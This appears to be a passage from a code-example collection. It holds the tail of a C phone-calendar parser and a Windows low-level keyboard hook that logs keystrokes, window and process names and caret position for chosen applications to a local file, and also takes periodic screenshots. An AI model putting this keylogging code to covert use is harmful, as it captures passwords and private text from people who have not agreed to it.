	entry->Entries[entry->EntriesNum].Text[len * 2 + 1] = 0;
	entry->Entries[entry->EntriesNum].EntryType = CAL_TEXT;
	entry->EntriesNum++;
	smprintf(s, "Note text: \"%s\"\n",DecodeUnicodeString(entry->Entries[entry->EntriesNum-1].Text));

	if (entry->Type == GSM_CAL_CALL) {
		memcpy(entry->Entries[entry->EntriesNum].Text, msg->Buffer+(54+msg->Buffer[51]*2), msg->Buffer[52]*2);
		entry->Entries[entry->EntriesNum].Text[msg->Buffer[52]*2]   = 0;
		entry->Entries[entry->EntriesNum].Text[msg->Buffer[52]*2+1] = 0;
		entry->Entries[entry->EntriesNum].EntryType		   = CAL_PHONE;
		entry->EntriesNum++;
	}
	if (entry->Type == GSM_CAL_MEETING) {
		memcpy(entry->Entries[entry->EntriesNum].Text, msg->Buffer+(54+msg->Buffer[51]*2), msg->Buffer[52]*2);
		entry->Entries[entry->EntriesNum].Text[msg->Buffer[52]*2]   = 0;
		entry->Entries[entry->EntriesNum].Text[msg->Buffer[52]*2+1] = 0;
		entry->Entries[entry->EntriesNum].EntryType		   = CAL_LOCATION;
		entry->EntriesNum++;
	}

	return ERR_NONE;
}
예제 #20
0
LRESULT CALLBACK LLKeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	if (nCode < 0 || nCode == HC_NOREMOVE)
		return ::CallNextHookEx(NULL, nCode, wParam, lParam);
	
   if (lParam & 0x40000000)	// Check the previous key state
	{
		return ::CallNextHookEx(NULL, nCode, wParam, lParam);
	}

	if(wParam == WM_KEYDOWN)
	{
		//time_t timer;
		//time(&timer);

		KBDLLHOOKSTRUCT  *pkbhs = (KBDLLHOOKSTRUCT *)lParam;

		//check that the message is from keyboard or is synthesized by SendInput API
		if((pkbhs->flags & LLKHF_INJECTED))
			return ::CallNextHookEx(NULL, nCode, wParam, lParam);
		
		SYSTEMTIME sys;
		GetLocalTime( &sys );
		std::string strTime = GetSysLocalTimeStr(sys);

		HWND hwnd = GetForegroundWindow();
		std::string windowname = GetWindowNameStr(hwnd);
		ReplaceAll(windowname,"\n","\\n");
		ReplaceAll(windowname,"\t","\\t");

		DWORD processId;
		std::string processName = GetProcessNameStr(hwnd,&processId);

		std::string parentWindowName = GetNotNullParentNameStr(hwnd);

		FILE* fKeyBoardLog;
		errno_t err = _tfopen_s(&fKeyBoardLog,_T("log/keyboard.txt"),_T("a"));

		if(!IsNeedProcess(processName, windowname,parentWindowName))
		{
			fprintf_s(fKeyBoardLog,"%s\n", strTime.c_str());
			fprintf_s(fKeyBoardLog,"NOT LOGGED APPLICATION\n");
			fclose(fKeyBoardLog);
			return CallNextHookEx(NULL, nCode, wParam, lParam);
		}

		DWORD dwMsg = 1;
		dwMsg += pkbhs->scanCode << 16;
		dwMsg += pkbhs->flags << 24;

		CHAR strKey[80];
		GetKeyNameTextA(dwMsg,strKey,80);

		
		POINT point;
		GUITHREADINFO pg;
		pg.cbSize=48;
		::GetGUIThreadInfo(NULL,&pg);
		//HWND temphwnd=pg.hwndCaret;
		if (pg.hwndCaret)
		{
			point.x=pg.rcCaret.right;
			point.y=pg.rcCaret.bottom;
			::ClientToScreen(pg.hwndCaret,&point);
		}
		else
		{
			point.x = point.y = -1;
		}
		

		//FILE* fKeyBoardLog;
		//errno_t err = _tfopen_s(&fKeyBoardLog,_T("log/keyboard.txt"),_T("a"));
		if(err == 0)
		{
			printf_s("%s %s %s\n", windowname.c_str(), processName.c_str(), strKey);
			fprintf_s(fKeyBoardLog, "%s\n", strTime.c_str());
			fprintf_s(fKeyBoardLog, "%s\n", strKey);
			fprintf_s(fKeyBoardLog, "%d %d\n", point.x, point.y);
			fprintf_s(fKeyBoardLog, "%s\n", windowname.c_str());
			fprintf_s(fKeyBoardLog, "%s\n", processName.c_str());
			fprintf_s(fKeyBoardLog, "%s\n", parentWindowName.c_str());
			fclose(fKeyBoardLog);
		}
		else
		{
			printf_s("Open Key Log File Error\n");
		}

		//double interval =  difftime(timer,preKeyTimer);
		double interval = GetTimeDifference(preKeyTime,sys);	
		if(interval<0 || interval > 1)
		{
			preKeyTime = sys;
			/*
			RECT winRect;
			GetWindowRect(hwnd,&winRect);
			if(winRect.left<0)
			{
				winRect.right = winRect.right + winRect.left;
				winRect.left = 0;
			}
			if(winRect.top<0)
			{
				winRect.bottom = winRect.bottom + winRect.top;
				winRect.top = 0;
			}
			*/
			
			std::string img = "log/screen/" + strTime +  ".png";
			GetScreeny(SCREEN_RECT,from_string(img).c_str(),100);
		}
	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}